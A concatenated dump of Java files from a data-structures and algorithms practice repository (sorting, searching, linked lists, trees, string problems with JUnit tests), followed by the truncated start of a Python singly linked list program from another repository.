<repo_name>qq98982/algorithm<file_sep>/src/main/java/com/home/henry/MergeTwoSortedArrays.java package com.home.henry; public class MergeTwoSortedArrays { public int[] merge(int[] first, int[] second) { if (first.length < 1 && second.length < 1) { return null; } int m = first.length - 1; int n = second.length - 1; int[] res = new int[m + n + 2]; for (int i = res.length - 1; i >= 0; i--) { if (n >= 0 && m >= 0) { if (first[m] > second[n]) { res[i] = first[m--]; } else { res[i] = second[n--]; } } else { if (m < 0) { res[i] = second[n--]; } if (n < 0) { res[i] = first[m--]; } } } return res; } public static void main(String[] args) { int[] a = new int[] { 1, 3, 5, 6, 9 }; int[] b = new int[] { 2, 4, 7, 8 }; MergeTwoSortedArrays m = new MergeTwoSortedArrays(); int[] c = m.merge(a, b); for (int aC : c) { System.out.print(aC + " "); } } } <file_sep>/src/main/java/com/home/henry/ReverseLinkedList.java package com.home.henry; /** * Reverse a linked list */ public class ReverseLinkedList { ListNode reverse(ListNode current) { if (current == null) { return null; } ListNode prev = null; while (current != null) { ListNode temp = current.next; current.next = prev; prev = current; current = temp; } return prev; } } <file_sep>/src/main/java/com/home/henry/FindMaxCountArray.java package com.home.henry; import java.util.Arrays; public class FindMaxCountArray { public static int findMax(int[] a, int size) { int i, j; int max = a[0]; int count; int maxCount = 1; for (i = 0; i < size; i++) { count = 1; for (j = i + 1; j < size; j++) { if (a[i] == a[j]) { count++; } if (count > maxCount) { max = a[i]; maxCount = count; } } } return max; } public static int findMaxUseSort(int[] a, int size) { if (size > a.length) { return a[0]; } Arrays.sort(a); int count = 1, maxCount = 1, max = a[0]; for (int i = 1; i < size; i++) { if (a[i] == a[i - 1]) { count++; } else { count = 1; } if (count > maxCount) { maxCount = count; max = a[i]; } } return max; } } <file_sep>/src/test/java/com/home/henry/OneAwayTest.java package com.home.henry; import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Test; class OneAwayTest { @Test void isOneWay() { OneAway oneAway = new OneAway(); Assertions.assertTrue(oneAway.isOneWay("pale", "ple")); Assertions.assertTrue(oneAway.isOneWay("", "p")); Assertions.assertTrue(oneAway.isOneWay("p", "")); Assertions.assertTrue(oneAway.isOneWay("pales", "pale")); Assertions.assertTrue(oneAway.isOneWay("pale", "bale")); Assertions.assertFalse(oneAway.isOneWay("pale", "bake")); Assertions.assertFalse(oneAway.isOneWay("teach", "teacher")); } }<file_sep>/src/main/java/com/home/henry/OneAway.java package com.home.henry; /** * There are three types of edits that can be performed on strings: insert a character, * remove a character, or replace a character. Given two strings, write a function to check if they are * one edit (or zero edits) away. */ public class OneAway { boolean isOneWay(String source, String target) { if (null == source || null == target) { return false; } if (Math.abs(source.length() - target.length()) > 1) { return false; } int i = 0, j = 0; int count = 0; while (i < source.length() && j < target.length()) { if (source.charAt(i) != target.charAt(j)) { if (count > 0) { return false; } count++; if (source.length() > target.length()) { i++; } if (source.length() < target.length()) { j++; } } i++; j++; } return true; } } <file_sep>/src/main/java/com/home/henry/BinaryTreeLevelOrder.java package com.home.henry; import java.util.ArrayList; import java.util.LinkedList; import java.util.List; import java.util.Queue; class TreeNode { public TreeNode left; public TreeNode right; public int value; TreeNode(int value) { this.value = value; this.left = this.right = null; } } /** * BinaryTree Lever Order */ public class BinaryTreeLevelOrder { public List<List<Integer>> leverOrder(TreeNode root) { List<List<Integer>> results = new ArrayList<>(); if (null == root) { return results; } Queue<TreeNode> queue = new LinkedList<>(); queue.offer(root); while (!queue.isEmpty()) { List<Integer> current = new ArrayList<>(); int size = queue.size(); for (int i = 0; i < size; i++) { TreeNode head = queue.poll(); current.add(head.value); if (null != head.left) { queue.offer(head.left); } if (null != head.right) { queue.offer(head.right); } } results.add(current); } return results; } } <file_sep>/src/main/java/com/home/henry/PalindromeLinkedList.java package com.home.henry; /** * Given a singly linked list, determine if it is a palindrome. * O(n) time and O(1) space? */ class PalindromeLinkedList { private static class ListNode { int val; ListNode next; ListNode(int x) { val = x; } } public boolean isPalindrome(ListNode head) { // count length int count = 0; // Do not change head!!! ListNode curr = head; while (curr != null) { curr = curr.next; count++; } if (count < 2) { return true; } curr = head; // reverse last half part, return end part head ListNode endHead = reverseEnd(curr, count); // iterate, check if it is equal return checkPalindrome(head, endHead); } // reverse half end part private ListNode reverseEnd(ListNode head, int count) { for (int i = 0; i < count / 2; i++) { if (head != null) { head = head.next; } } return reverse(head); } // reverse a LinkedList private ListNode reverse(ListNode head) { ListNode prev = null; while (head != null) { ListNode tmp = head.next; head.next = prev; prev = head; head = tmp; } return prev; } private boolean checkPalindrome(ListNode head, ListNode endHead) { while (head != null && endHead != null) { if (head.val != endHead.val) { return false; } head = head.next; endHead = endHead.next; } return true; } }<file_sep>/src/main/java/com/home/henry/ListNoderemoveDups.java package com.home.henry; import java.util.HashSet; import java.util.Set; /** * Write code to remove duplicates from an unsorted linked list. */ public class ListNoderemoveDups { ListNode deleteDups(ListNode n) { ListNode prev = null; Set<Integer> set = new HashSet<>(); while (n != null) { if (set.contains(n.data)) { assert prev != null; prev.next = n.next; } else { set.add(n.data); prev = n; } n = n.next; } return prev; } } <file_sep>/src/test/java/com/home/henry/BinarySearchSortedArrayTest.java package com.home.henry; import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Test; class BinarySearchSortedArrayTest { private static final int[] a = { 1, 3, 5, 7, 9, 11 }; @Test void binarySearchTest() { Assertions.assertEquals(0, BinarySearchSortedArray.binarySearch(new int[] {1}, 1)); Assertions.assertEquals(-1, BinarySearchSortedArray.binarySearch(new int[] {}, 0)); Assertions.assertEquals(2, BinarySearchSortedArray.binarySearch(a, 5)); Assertions.assertEquals(5, BinarySearchSortedArray.binarySearch(a, 11)); Assertions.assertEquals(-1, BinarySearchSortedArray.binarySearch(a, 8)); } @Test void binarySearchRecurive() { Assertions.assertEquals(0, BinarySearchSortedArray.binarySearchRecurive(new int[] {1,2}, 0,1,1)); Assertions.assertEquals(-1, BinarySearchSortedArray.binarySearchRecurive(new int[] {}, 0,0,0)); Assertions.assertEquals(2, BinarySearchSortedArray.binarySearchRecurive(a,0,a.length-1, 5)); Assertions.assertEquals(5, BinarySearchSortedArray.binarySearchRecurive(a, 0,a.length-1, 11)); Assertions.assertEquals(-1, BinarySearchSortedArray.binarySearchRecurive(a, 0,a.length-1, 8)); } }<file_sep>/src/test/java/com/home/henry/ListNodeIsLoopTest.java package com.home.henry; import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.Test; class ListNodeIsLoopTest { private ListNode n1; private ListNode n2; private ListNode n3; private ListNode n4; private ListNode n5; private ListNode n6; @BeforeEach void setUp() { n1 = new ListNode(1); n2 = new ListNode(2); n3 = new ListNode(3); n4 = new ListNode(4); n5 = new ListNode(5); n6 = new ListNode(6); } @Test void isLoopList() { n1.next = n2; Assertions.assertFalse(ListNodeIsLoop.isLoopList(n1)); n2.next = n1; Assertions.assertTrue(ListNodeIsLoop.isLoopList(n1)); n2.next = n3; Assertions.assertFalse(ListNodeIsLoop.isLoopList(n1)); n3.next = n4; Assertions.assertFalse(ListNodeIsLoop.isLoopList(n1)); n4.next = n5; Assertions.assertFalse(ListNodeIsLoop.isLoopList(n1)); n5.next = n2; Assertions.assertTrue(ListNodeIsLoop.isLoopList(n1)); n5.next = n6; n6.next = n2; Assertions.assertTrue(ListNodeIsLoop.isLoopList(n1)); } }<file_sep>/src/test/java/com/home/henry/ListNodeGetMiddleTest.java package com.home.henry; import static com.home.henry.ListNodeGetMiddle.getMiddle; import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.Test; class ListNodeGetMiddleTest { private ListNode n1; private ListNode n2; private ListNode n3; private ListNode n4; private ListNode n5; private ListNode n6; @BeforeEach void init() { n1 = new ListNode(1); n2 = new ListNode(2); n3 = new ListNode(3); n4 = new ListNode(4); n5 = new ListNode(5); n6 = new ListNode(6); } @Test void getMiddleTest() { ListNode nt = getMiddle(n1); Assertions.assertEquals(1, nt.data); n1.next = n2; nt = getMiddle(n1); Assertions.assertEquals(2, nt.data); n2.next = n3; n3.next = n4; n4.next = n5; nt = getMiddle(n1); Assertions.assertEquals(3, nt.data); n5.next = n6; nt = getMiddle(n1); Assertions.assertEquals(4, nt.data); } }<file_sep>/src/main/java/com/home/henry/HashTable.java package com.home.henry; public class HashTable { private int size; private Node[] entries; private static class Node<K, V> { K k; V v; Node next; Node(K k, V v) { this.k = k; this.v = v; this.next = null; } } public HashTable(int size) { this.size = size; entries = new Node[size]; for (int i = 0; i < entries.length; i++) { entries[i] = null; } } public HashTable() { this(1 << 3); } private int hash(Object obj) { return obj == null ? 0 : (obj.hashCode() % size); } public <K, V> void set(K k, V v) { Node<K, V> node = new Node<>(k, v); node.next = entries[hash(k)]; entries[hash(k)] = node; } public <K> Object get(K k) { Node entry = entries[hash(k)]; if (entry == null) { return null; } else { while (entry != null) { if (entry.k.equals(k)) { return entry.v; } entry = entry.next; } return null; } } public static void main(String[] args) { HashTable h = new HashTable(); for (int i = 0; i < 1000; i++) { h.set(i, Math.sqrt(i)); } System.out.println(h.get(484).toString()); } } <file_sep>/src/main/java/com/home/henry/ReverseWords.java package com.home.henry; /** * Reverse words order in a String */ public class ReverseWords { public String reverseWords(char[] c) { if (c == null || c.length == 0) { return null; } reverse(c, 0, c.length - 1); int l = -1; int r = -1; for (int i = 0; i < c.length; i++) { if (c[i] != ' ') { l = ((i == 0) || (c[i - 1] == ' ')) ? i : l; r = ((i == (c.length - 1)) || (c[i + 1] == ' ')) ? i : r; } if (l != -1 && r != -1) { reverse(c, l, r); l = -1; r = -1; } } return String.valueOf(c); } private static void reverse(char[] c, int l, int r) { char tmp; while (l < r) { tmp = c[l]; c[l] = c[r]; c[r] = tmp; l++; r--; } } } <file_sep>/src/main/java/com/home/henry/RemoveZero.java package com.home.henry; /** * 去掉String中连续出现k个0的sub string */ public class RemoveZero { private static String removeZeros(String in, int k) { char[] inArr = in.toCharArray(); int count = 0; int start = -1; for (int i = 0; i < inArr.length; i++) { if (inArr[i] == '0') { count++; start = start == -1 ? i : start; } else { if (count == k) { while (count-- != 0) { inArr[start++] = 0; } } count = 0; start = -1; } } if (count == k) { while (count-- != 0) { inArr[start++] = 0; } } return String.valueOf(inArr).replace("\u0000",""); } public static void main(String[] args) { assert "ABab0".equals(removeZeros("AB0000ab0", 4)); assert "ABab".equals(removeZeros("AB0000ab0000", 4)); assert "ABab".equals(removeZeros("AB0000ab0000", 4)); assert "AB00000ab00000".equals(removeZeros("AB00000ab00000", 4)); assert "AB00000ab".equals(removeZeros("AB00000ab0000", 4)); } }<file_sep>/src/test/java/com/home/henry/StringRotationTest.java package com.home.henry; import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Test; class StringRotationTest { @Test void isRotation() { StringRotation sr = new StringRotation(); Assertions.assertTrue(sr.isRotation("w", "w")); Assertions.assertTrue(sr.isRotation("wa", "aw")); Assertions.assertTrue(sr.isRotation("waterbottle", "erbottlewat")); Assertions.assertFalse(sr.isRotation("", "")); Assertions.assertFalse(sr.isRotation("", null)); Assertions.assertFalse(sr.isRotation("waterbottle", "erbottletwa")); } }<file_sep>/src/test/java/com/home/henry/RotateMatrixTest.java package com.home.henry; import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Test; class RotateMatrixTest { @Test void testRotateMatrix() { int[][] mat = { { 1, 2, 3, 4 }, { 5, 6, 7, 8 }, { 9, 10, 11, 12 }, { 13, 14, 15, 16 } }; RotateMatrix rotateMatrix = new RotateMatrix(); rotateMatrix.displayMatrix(mat); rotateMatrix.rotateMatrix(mat); rotateMatrix.displayMatrix(mat); Assertions.assertEquals(7, mat[2][2]); Assertions.assertEquals(9, mat[0][1]); Assertions.assertEquals(10, mat[1][1]); Assertions.assertEquals(8, mat[3][2]); rotateMatrix.rotateMatrix(mat); Assertions.assertEquals(6, mat[2][2]); Assertions.assertEquals(15, mat[0][1]); Assertions.assertEquals(11, mat[1][1]); Assertions.assertEquals(2, mat[3][2]); rotateMatrix.displayMatrix(mat); } }<file_sep>/src/main/java/com/home/henry/QuickSortMiddlePivot.java package com.home.henry; public class QuickSortMiddlePivot { public static void qSort(int[] a, int head, int tail) { if (head >= tail || a == null || a.length <= 1) { return; } int i = head, j = tail, pivot = a[(head + tail) / 2]; while (i <= j) { while (a[i] < pivot) { i++; } while (a[j] > pivot) { j--; } if (i < j) { int temp = a[i]; a[i] = a[j]; a[j] = temp; i++; j--; } else if (i == j) { i++; } } qSort(a, head, j); qSort(a, i, tail); } public static void main(String[] args) { int[] arr = new int[] { 1, 4, 8, 2, 55, 3, 6, 0, 11, 34, 90, 23, 54, 77, 9, 10 }; qSort(arr, 0, arr.length - 1); StringBuilder sb = new StringBuilder(); for (int digit : arr) { sb.append(digit).append(" "); } System.out.println(sb.toString()); } } <file_sep>/src/main/java/com/home/henry/SubSet.java package com.home.henry; import java.util.ArrayList; import java.util.Arrays; import java.util.List; /** * Given a set of distinct integers, S, return all possible subsets. * Note: Elements in a subset must be in non-descending order. * The solution set must not contain duplicate subsets. * For example, If S = [1,2,3], a solution is: * [ [3], [1], [2], [1,2,3], [1,3], [2,3], [1,2], [] ] */ public class SubSet { List<List<Integer>> getSublist(int[] nums) { // Init a list to receive results List<List<Integer>> results = new ArrayList<>(); // Validate input if (null == nums || nums.length < 1) { return results; } // Sort nums Arrays.sort(nums); // Use recursion to get results List<Integer> subset = new ArrayList<>(); recursion(subset, nums, 0, results); return results; } // Recursion part private void recursion(List<Integer> subset, int[] nums, int startIndex, List<List<Integer>> results) { // Deep copy results.add(new ArrayList<>(subset)); // for loop for (int j = startIndex; j < nums.length; j++) { // In for loop 1. add current point 2. exec recursion 3. restore current point subset.add(nums[j]); recursion(subset, nums, j + 1, results); subset.remove(subset.size() - 1); } } } <file_sep>/src/main/java/com/home/henry/BinarySearchSortedArray.java package com.home.henry; /** * Binary Search a sorted array */ public class BinarySearchSortedArray { public static int binarySearch(int[] a, int value) { int low = 0; int high = a.length - 1; while (low <= high) { int mid = low + (high - low) / 2; if (a[mid] == value) { return mid; } else if (a[mid] < value) { low = mid + 1; } else { high = mid - 1; } } return -1; } // Recursive Way public static int binarySearchRecurive(int[] a, int low, int high, int value) { if (low > high || high > a.length - 1) { return -1; } int mid = low + (high - low) / 2; if (a[mid] == value) { return mid; } if (a[mid] < value) { return binarySearchRecurive(a, mid + 1, high, value); } else { return binarySearchRecurive(a, low, mid - 1, value); } } } <file_sep>/src/main/java/com/home/henry/CloneGraph.java package com.home.henry; import java.util.ArrayList; import java.util.HashMap; import java.util.LinkedList; import java.util.List; import java.util.Map; import java.util.Queue; /** * 给一个graph node, 每个node有list of neighbors. 复制整个graph, return new head node. * BFS solution * Use HashMap to mark cloned nodes. * 先能复制多少Node复制多少. 然后把neighbor 加上 * Use `map<oldNode, newNode>` to mark visited */ class GraphNode { int value; List<GraphNode> neighbours; GraphNode(int value) { this.value = value; this.neighbours = new ArrayList<>(); } } public class CloneGraph { public GraphNode cloneGraphNode(GraphNode node) { if (null == node) { return null; } Map<GraphNode, GraphNode> hm = new HashMap<>(); hm.put(node, new GraphNode(node.value)); Queue<GraphNode> queue = new LinkedList<>(); queue.offer(node); while (!queue.isEmpty()) { GraphNode currentNode = queue.poll(); for (GraphNode neighbor : currentNode.neighbours) { // Copy neighbors if (!hm.containsKey(neighbor)) { queue.add(neighbor); hm.put(neighbor, new GraphNode(neighbor.value)); } hm.get(currentNode).neighbours.add(hm.get(neighbor)); } } return hm.get(node); } } <file_sep>/src/main/java/com/home/henry/ListNode.java package com.home.henry; /** * Linked List Node */ public class ListNode { ListNode next; int data; ListNode() {} ListNode(int data) { this.data = data; this.next = null; } public static void printListNode(ListNode node) { while (node != null) { System.out.print(node.data); System.out.print("->"); node = node.next; } System.out.println("null"); } void appendToTail(int d) { ListNode end = new ListNode(); end.data = d; ListNode n = this; while (n.next != null) { n = n.next; } n.next = end; } ListNode deleteNode(ListNode head, int d) { ListNode n = head; if (n.data == d) { return head.next; } while (n.next != null) { if (n.next.data == d) { n.next = n.next.next; return head; } n = n.next; } return head; } } <file_sep>/src/main/java/com/home/henry/InsertionSort.java package com.home.henry; /** * Insertion sort perform a bit better than bubble sort */ public class InsertionSort { private static boolean more(int v1, int v2) { return v1 > v2; } public static void sort(int[] a) { int size = a.length; int temp, j; for (int i = 1; i < size; i++) { temp = a[i]; for (j = i; j > 0 && more(a[j - 1], temp); j--) { a[j] = a[j - 1]; } a[j] = temp; } } public static void main(String[] args) { int[] a = { 9, 1, 8, 2, 7, 3, 6, 4, 5 }; sort(a); for (int result : a) { System.out.println(result); } } } <file_sep>/src/main/java/com/home/henry/URLify.java package com.home.henry; /** * Write a method to replace all spaces in a string with '%20'. You may assume that the string * has sufficient space at the end to hold the additional characters,and that you are given the "true" * length of the string. (Note: If implementing in Java, please use a character array so that you can * perform this operation in place.) */ public class URLify { String urlFy(String source, int length) { if (null == source || source.length() < 1 || source.length() < length) { return ""; } source = source.substring(0, length); int blankNum = 0; char[] chars = source.toCharArray(); for (char aChar : chars) { if (aChar == ' ') { blankNum++; } } char[] charFinal = new char[length + blankNum * 2]; for (int i = length - 1, j = length + blankNum * 2 - 1; i >= 0; i--) { char c = chars[i]; if (c == ' ') { charFinal[j--] = '0'; charFinal[j--] = '2'; charFinal[j--] = '%'; } else { charFinal[j--] = c; } } return String.valueOf(charFinal); } } <file_sep>/src/main/java/com/home/henry/FindMinInSortAndReversedArray.java package com.home.henry; public class FindMinInSortAndReversedArray { public static int findMin(int[] arr, int low, int high) { if (high < low) { return arr[0]; } // If there is only one element left if (high == low) { return arr[low]; } // Find mid int mid = low + (high - low) / 2; // Check if element (mid+1) is minimum element. Consider // the cases like {3, 4, 5, 1, 2} if (mid < high && arr[mid + 1] < arr[mid]) { return arr[mid + 1]; } // Check if mid itself is minimum element if (mid > low && arr[mid] < arr[mid - 1]) { return arr[mid]; } // Decide whether we need to go to left half or right half if (arr[high] > arr[mid]) { return findMin(arr, low, mid - 1); } return findMin(arr, mid + 1, high); } } <file_sep>/src/test/java/com/home/henry/StrStrTest.java package com.home.henry; import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Test; /** * ALGORITHM StrStrTest * Description: StrStrTest * Author: Henry * Created on 2018年02月24日 */ class StrStrTest { @Test void getStrStrTest() { StrStr str = new StrStr(); Assertions.assertEquals(0, str.getStrStr("a", "a")); Assertions.assertEquals(-1, str.getStrStr("", "")); Assertions.assertEquals(-1, str.getStrStr("", null)); Assertions.assertEquals(-1, str.getStrStr("a", "c")); Assertions.assertEquals(-1, str.getStrStr("abcdef", "efc")); Assertions.assertEquals(-1, str.getStrStr("a", "ac")); Assertions.assertEquals(2, str.getStrStr("abcabc", "ca")); Assertions.assertEquals(4, str.getStrStr("abcdef", "ef")); Assertions.assertEquals(4, str.getStrStr("abcdefefef", "ef")); Assertions.assertEquals(0, str.getStrStrBetter("a", "a")); Assertions.assertEquals(-1, str.getStrStrBetter("", "")); Assertions.assertEquals(-1, str.getStrStrBetter("", null)); Assertions.assertEquals(-1, str.getStrStrBetter("a", "c")); Assertions.assertEquals(-1, str.getStrStrBetter("abcdef", "efc")); Assertions.assertEquals(-1, str.getStrStrBetter("a", "ac")); Assertions.assertEquals(2, str.getStrStrBetter("abcabc", "ca")); Assertions.assertEquals(4, str.getStrStrBetter("abcdef", "ef")); Assertions.assertEquals(4, str.getStrStrBetter("abcdefefef", "ef")); } }
b1dfe37c31c97a89c65b420997ebeb75f4fdec1c
[ "Java" ]
25
Java
qq98982/algorithm
17817e3dc4591c5cf5071a6e7f4a3562679ac15b
b7fdd7dfcd91bca78d36563447fb051161dadcc7
refs/heads/master
<repo_name>iamdanielglover/javascript-objects-lab-bootcamp-prep-000<file_sep>/index.js var recipes = {prop: 1}; function updateObjectWithKeyAndValue(object,key,value){ var newObj = Object.assign({},object); newObj[key]=value; console.log(newObj); console.log(recipes); } updateObjectWithKeyAndValue(recipes,'prop2',2); function destructivelyUpdateObjectWithKeyAndValue(object,key,value){ return Object.assign(object,object[key]=value); } destructivelyUpdateObjectWithKeyAndValue(recipes,'prop2',2); function deleteFromObjectByKey(object, key){ var newObj = Object.assign({},object); delete newObj[key]; return newObj; } deleteFromObjectByKey(recipes,'prop'); function destructivelyDeleteFromObjectByKey(object, key){ delete object[key]; return object; } destructivelyDeleteFromObjectByKey(recipes,'prop');
48eab49eea05b6fc016e62ce666b58059f1d4bec
[ "JavaScript" ]
1
JavaScript
iamdanielglover/javascript-objects-lab-bootcamp-prep-000
3e05b8deea2e94221acd79eccbffd50fb481d947
6a30f1e6306352f73d1b2e0a508c2f93870d3050
refs/heads/master
<file_sep>import React, { Component } from 'react'; import './App.css'; import axios from 'axios'; import Output from './components/Output'; import Select from './components/controls/Select'; import Text from './components/controls/Text'; class App extends Component { constructor(props) { super(props); this.state = { paragraphs: 4, html: true, text: '' } } componentWillMount() { this.getSampleText(); } getSampleText() { axios.get(`http://hipsterjesus.com/api/?paras=${this.state.paragraphs}&html=${this.state.html}`, { headers: {'Access-Control-Allow-Origin': '*'}}) .then(response => { this.setState({ text: response.data.text }, () => console.log(response)); }) .catch(error => { console.log(error); }); } showHtml(value) { this.setState({ html: value }, this.getSampleText); } changeParagraphs(number) { this.setState({ paragraphs: number }, this.getSampleText); } render() { return ( <div className="App container"> <h1 className="text-center">ReactJS Text Generator</h1> <hr /> <form className="form-inline"> <div className="form-group"> <label>Paragraphs:</label> <Text value={this.state.paragraphs} onChange={this.changeParagraphs.bind(this)} /> </div> <div className="form-group"> <label>Include HTML:</label> <Select value={this.state.html} onChange={this.showHtml.bind(this)} /> </div> </form> <br /><br /> <Output value={this.state.text} /> </div> ); } } export default App;
1e011f5cea687744f77d26689db87927f8e3d81e
[ "JavaScript" ]
1
JavaScript
egarat/react-text-generator
0d49d9c27529830b195a0d30b0aead54063d9b27
89e7afc75ee18dc0a11ffbe03ec6630d52029a6a
refs/heads/master
<repo_name>Carreau/pycon2017<file_sep>/todo.js module.exports = (markdown, options) => { return markdown.split('\n').map((line, index) => { if(!/^TODO:/.test(line) || index === 0) return line; return '<span style="color:red">' + line + '<\span>'; }).join('\n'); }; <file_sep>/Makefile build: reveal-md pycon.md --static docs cp theme/pycon.css docs/theme/ cp *.png *.png docs/
de6cb1fbe97a9ba4a5602636a8676ebb9465dd8a
[ "JavaScript", "Makefile" ]
2
JavaScript
Carreau/pycon2017
116e750324af63415a6d7d61638ab53e896811d6
8b8ecaa581af7f0cba034b203c3aa63e41fce21f
refs/heads/master
<file_sep>OBJ_DIR=$(HOME)/workspace/abaqus/usrlib FC=gfortran FFLAGS=-c -O3 -fPIC -std=f2003 -ffree-form -fopt-info -fmax-errors=1 -fbounds-check -Werror MAIN_SRC=capsul.f COMMON_SRC=utils.f90 algebra.f90 deformation.f90 hardening.f90 init.f90 OBJECTS := $(patsubst %.f90, %-std.o, $(COMMON_SRC)) UMAT_SRC=./umat capsul:$(OBJECTS) make -C $(COMMON_SRC) make -C $(UMAT_SRC) abaqus make library=${MAIN%.*} directory=$(DIR) utils-std.o: utils.f90 $(FC) $(FFLAGS) $< -o $@ algebra-std.o: algebra.f90 utils.f90 $(FC) $(FFLAGS) $< -o $@ deformation-std.o: deformation.f90 utils.f90 algebra.f90 $(FC) $(FFLAGS) $< -o $@ hardening-std.o: hardening.f90 utils.f90 algebra.f90 $(FC) $(FFLAGS) $< -o $@ init-std.f90: init.f90 utils.f90 algebra.f90 crystal.f90 $(FC) $(FFLAGS) $< -o $@ clean: rm *.mod *.o .PHONY: capsul clean <file_sep>OBJ_DIR=$(HOME)/workspace/abaqus/usrlib FC=gfortran FFLAGS=-c -O3 -fPIC -std=f2003 -ffree-form -fopt-info -fmax-errors=1 -fbounds-check -Werror SRC=utils.f90 algebra.f90 deformation.f90 hardening.f90 crystal.f90 init.f90 expansion.f90 umat_cp2.f90 OBJECTS := $(patsubst %.f90, %-std.o, $(SRC)) capsul.o capsul: $(OBJECTS) rm -fr $(OBJ_DIR)/* cp $^ $(OBJ_DIR) abaqus make library=$@ directory=$(OBJ_DIR) utils-std.o: utils.f90 $(FC) $(FFLAGS) $< -o $@ algebra-std.o: algebra.f90 utils.f90 $(FC) $(FFLAGS) $< -o $@ deformation-std.o: deformation.f90 utils.f90 algebra.f90 $(FC) $(FFLAGS) $< -o $@ hardening-std.o: hardening.f90 utils.f90 algebra.f90 $(FC) $(FFLAGS) $< -o $@ init-std.o: init.f90 utils.f90 algebra.f90 crystal.f90 $(FC) $(FFLAGS) $< -o $@ crystal-std.o: crystal.f90 utils.f90 algebra.f90 hardening.f90 $(FC) $(FFLAGS) $< -o $@ expansion-std.o: expansion.f90 utils.f90 $(FC) $(FFLAGS) $< -o $@ umat_cp2-std.o: umat_cp2.f90 utils.f90 algebra.f90 init.f90 expansion.f90 crystal.f90 deformation.f90 hardening.f90 $(FC) $(FFLAGS) $< -o $@ capsul.o: capsul.f utils.f90 $(FC) $(FFLAGS) $< -o $@ clean: rm *.mod *.o .PHONY: capsul clean <file_sep>#! /bin/bash rm -fr *-std.o *.mod DIR="${HOME}/workspace/abaqus/usrlib" SRC="utils.f90 algebra.f90 deformation.f90 hardening.f90 crystal.f90 init.f90 umat_cp1.f90" MAIN="capsul.f" FC="gfortran" CPFLAGS="-c -O3 -fPIC -std=f2003 -ffree-form -fopt-info -fmax-errors=1 -fbounds-check" # -Wall -Werror -fmax-errors=1 -fbounds-check" for SRCFILE in $SRC do ${FC} ${CPFLAGS} ${SRCFILE} -o ${SRCFILE%.*}-std.o done rm -fr ${DIR}/*.o ${DIR}/*.so mv *std.o ${DIR} abaqus make library=${MAIN%.*} directory=${DIR} <file_sep> ! Declaration of interface variables real(kind = RKIND) :: SSE real(kind = RKIND) :: SPD real(kind = RKIND) :: SCD real(kind = RKIND) :: RPL real(kind = RKIND) :: DRPLDT real(kind = RKIND) :: DTIME real(kind = RKIND) :: TEMP real(kind = RKIND) :: DTEMP integer(kind = IKIND) :: NDI integer(kind = IKIND) :: NSHR integer(kind = IKIND) :: NTENS integer(kind = IKIND) :: NSTATV integer(kind = IKIND) :: NPROPS real(kind = RKIND) :: PNEWDT integer(kind = IKIND) :: NOEL integer(kind = IKIND) :: NPT integer(kind = IKIND) :: LAYER integer(kind = IKIND) :: KSPT integer(kind = IKIND) :: KSTEP integer(kind = IKIND) :: KINC character(len = *) :: CMNAME character(len = *) :: CELENT real(kind = RKIND) :: STRESS(NTENS) real(kind = RKIND) :: STATEV(NSTATV) real(kind = RKIND) :: DDSDDE(NTENS, NTENS) real(kind = RKIND) :: DDSDDT(NTENS) real(kind = RKIND) :: DRPLDE(NTENS) real(kind = RKIND) :: STRAN(NTENS) real(kind = RKIND) :: DSTRAN(NTENS) real(kind = RKIND) :: TIME(2) real(kind = RKIND) :: PREDEF(1) real(kind = RKIND) :: DPRED(1) real(kind = RKIND) :: PROPS(NPROPS) real(kind = RKIND) :: COORDS(3) real(kind = RKIND) :: DROT(3, 3) real(kind = RKIND) :: DFGRD0(3, 3) real(kind = RKIND) :: DFGRD1(3, 3)
767b571f1ca8c111c2fdb3f497f8d536db324c3a
[ "Makefile", "C++", "Shell" ]
4
Makefile
jifengli/Capsul
e985c8167d678f7e0a1ea99a7768cc8782ac9274
96e5226995005d8a0e72f0f6c1f49619afc7c720
refs/heads/master
<repo_name>Quynhnhi123/test<file_sep>/test.js const express = require("express"); // tạo ra một biến express requires thư viện express const app = express();// tạo ra một web let port = 3000 || process.env.PORT; app.listen(port, function(err) { if(err) console.log(err) console.log("start at ", port) }) app.get("/user", (req, res) => {//api res.send({mess : "day la trang chu"}) }) app.post("/user", (req, res) => {//api res.send({mess : "day la postttt"}) })
b3578d5e15b9856ffd6b058b11597757a606c64c
[ "JavaScript" ]
1
JavaScript
Quynhnhi123/test
dddf3609c32b81890d14c4cce82e02d20f5f6a65
85dad42a20efc485386f11614c1f7a9a20130793
refs/heads/master
<repo_name>kartiktanksali/Data-Structures<file_sep>/LinkedList(Singly).py #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Fri Mar 29 22:20:37 2019 @author: kartiktanksali """ class Node: def __init__(self,data): self.data = data self.next = None class LinkedList: def __init__(self): self.head = None def push(self,data): new_node = Node(data) if self.head==None: self.head=new_node else: new_node.next = self.head self.head = new_node print("Element Pushed") def append(self,data): new_node = Node(data) if self.head == None: self.head = new_node print("Element Appended") temp = self.head while(temp.next): temp = temp.next temp.next = new_node print("Element appended") def deleteFront(self): if self.head == None: print("No elements present to delete") else: temp = self.head.next self.head = temp print("Element deleted") def insert(self,pos,val): new_node = Node(val) temp = self.head prev = self.head for i in range(pos): prev = temp temp = temp.next prev.next = new_node new_node.next = temp print("Element inserted") def delete(self,key): if self.head==None: print("No elements to delete") return elif self.head.data == key: self.head = self.head.next return temp = self.head prev = self.head while(temp is not None): if temp.data==key: prev.next = temp.next print("Element Deleted") return else: prev = temp temp = temp.next print("Key not found") def deletePos(self,pos): if pos == 1: self.head = self.head.next print("Element Deleted") return temp = self.head prev = self.head for i in range(pos-1): prev = temp temp = temp.next prev.next = temp.next print("Element Deleted") def findLength(self): count=0 if self.head==None: return 0 if self.head.next==None: return 1 temp = self.head while(temp): temp = temp.next count+=1 return count def checkElement(self,key): if self.head==None: print("No element present to search") elif self.head==key: print("Element Found") else: temp = self.head while(temp): if temp.data==key: print("Element Found") return else: temp = temp.next print("Element not Found") def PrintList(self): if self.head==None: print("No Linked List present to print") else: temp = self.head while(temp): print(temp.data) temp = temp.next def deleteList(self): if self.head==None: print("List if already null") else: temp = self.head self.head=None while(temp): prev = temp temp = temp.next del prev.data print("List Deleted") if __name__ == "__main__": ch=0 llist = LinkedList() while(ch<11): print("1) Push an 